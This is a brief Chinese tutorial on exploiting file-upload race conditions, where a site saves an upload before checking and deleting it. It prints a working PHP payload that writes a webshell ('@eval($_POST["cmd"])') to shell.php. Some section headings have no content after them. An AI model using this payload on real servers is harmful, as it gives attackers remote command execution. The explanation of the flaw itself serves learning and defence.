文件上传-竞争条件

文件上传过程介绍
文件上传过程

例如php的move_uploaded进行临时文件的重命名。
竞争条件原理介绍
网站逻辑：
1、网站允许上传任意文件，然后检查上传文件是否包含webshell,如果包含删除该文件。
2、网站允许上传任意文件，但是如果不是指定类型，那么使用unlink删除文件。
在删除之前访问上传的php文件，从而执行上传文件中的php代码。
例如：上传文件代码如下

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>

竞争条件代码举例

先进行文件上传，后进行判断与删除。利用时间差进行webshell上传。
竞争条件